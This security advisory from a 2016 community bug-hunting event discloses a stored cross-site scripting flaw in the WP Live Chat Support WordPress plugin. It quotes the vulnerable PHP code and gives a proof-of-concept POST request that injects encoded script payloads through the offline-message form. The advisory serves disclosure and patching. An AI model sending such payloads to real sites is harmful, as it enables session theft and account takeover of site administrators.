Dennis Kerdijk <dennis.at.securelabs.nl> & Erwin Kievith <erwin.at.securelabs.nl>, July 2016

Stored Cross-Site Scripting vulnerability in WP Live Chat Support WordPress Plugin

Abstract

A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160724-0010

Tested versions

This issue was successfully tested on WP Live Chat Support WordPress Plugin version 6.2.03.

Fix

This issue is resolved in WP Live Chat Support version 6.2.04.

Introduction

WP Live Chat Support allows chatting with visitors of a WordPress site. A persistent Cross-Site Scripting vulnerability has been discovered in the WP Live Chat Support allowing an attacker to execute actions on behalf of a logged on WordPress user. A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Details

The vulnerability exists in the file wp-live-chat-support/functions.php (line 1233), which is called in the file wp-live-chat-support/wp-live-chat-support.php (line 602):

wp-live-chat-support/wp-live-chat-support.php:

600         if ($_POST['action'] == "wplc_user_send_offline_message") {
601 if(function_exists('wplc_send_offline_msg')){ wplc_send_offline_msg($_POST['name'], $_POST['email'], $_POST['msg'], $_POST['cid']); }
602 if(function_exists('wplc_store_offline_message')){ wplc_store_offline_message($_POST['name'], $_POST['email'], $_POST['msg']); }
603 do_action("wplc_hook_offline_message",array(
604 "cid"=>$_POST['cid'],
605 "name"=>$_POST['name'],
606 "email"=>$_POST['email'],
607 "url"=>get_site_url(),
608 "msg"=>$_POST['msg']
609 )
610 );
611 }

wp-live-chat-support/functions.php:

1206 function wplc_store_offline_message($name, $email, $message){
1207 global $wpdb;
1208 global $wplc_tblname_offline_msgs;
1209
1210 $wplc_settings = get_option('WPLC_SETTINGS');
1211
1212 if(isset($wplc_settings['wplc_record_ip_address']) && $wplc_settings['wplc_record_ip_address'] == 1){
1213 if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') {
1214 $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
1215 } else {
1216 $ip_address = $_SERVER['REMOTE_ADDR'];
1217 }
1218 $offline_ip_address = $ip_address;
1219 } else {
1220 $offline_ip_address = "";
1221 }
1222
1223
1224 $ins_array = array(
1225 'timestamp' => current_time('mysql'),
1226 'name' => $name,
1227 'email' => $email,
1228 'message' => $message,
1229 'ip' => $offline_ip_address,
1230 'user_agent' => $_SERVER['HTTP_USER_AGENT']
1231 );
1232
1233 $rows_affected = $wpdb->insert( $wplc_tblname_offline_msgs, $ins_array );
1234 return;
1235 }

The vulnerability can be exploited using a specially crafted POST request. The victim needs view the WP Live Chat Offline Messages page to trigger the Cross-Site Scripting payload. It should be noted taht the offline message functionality is available even if there is a logged on chat user present.

Proof of concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 361
Connection: close
   
action=wplc_user_send_offline_message&security=8d1fc19e30&cid=1&name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 110, 97, 109, 101, 33, 34, 41, 59));</script>&email=Mail&msg=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 109, 115, 103, 33, 34, 41, 59));</script>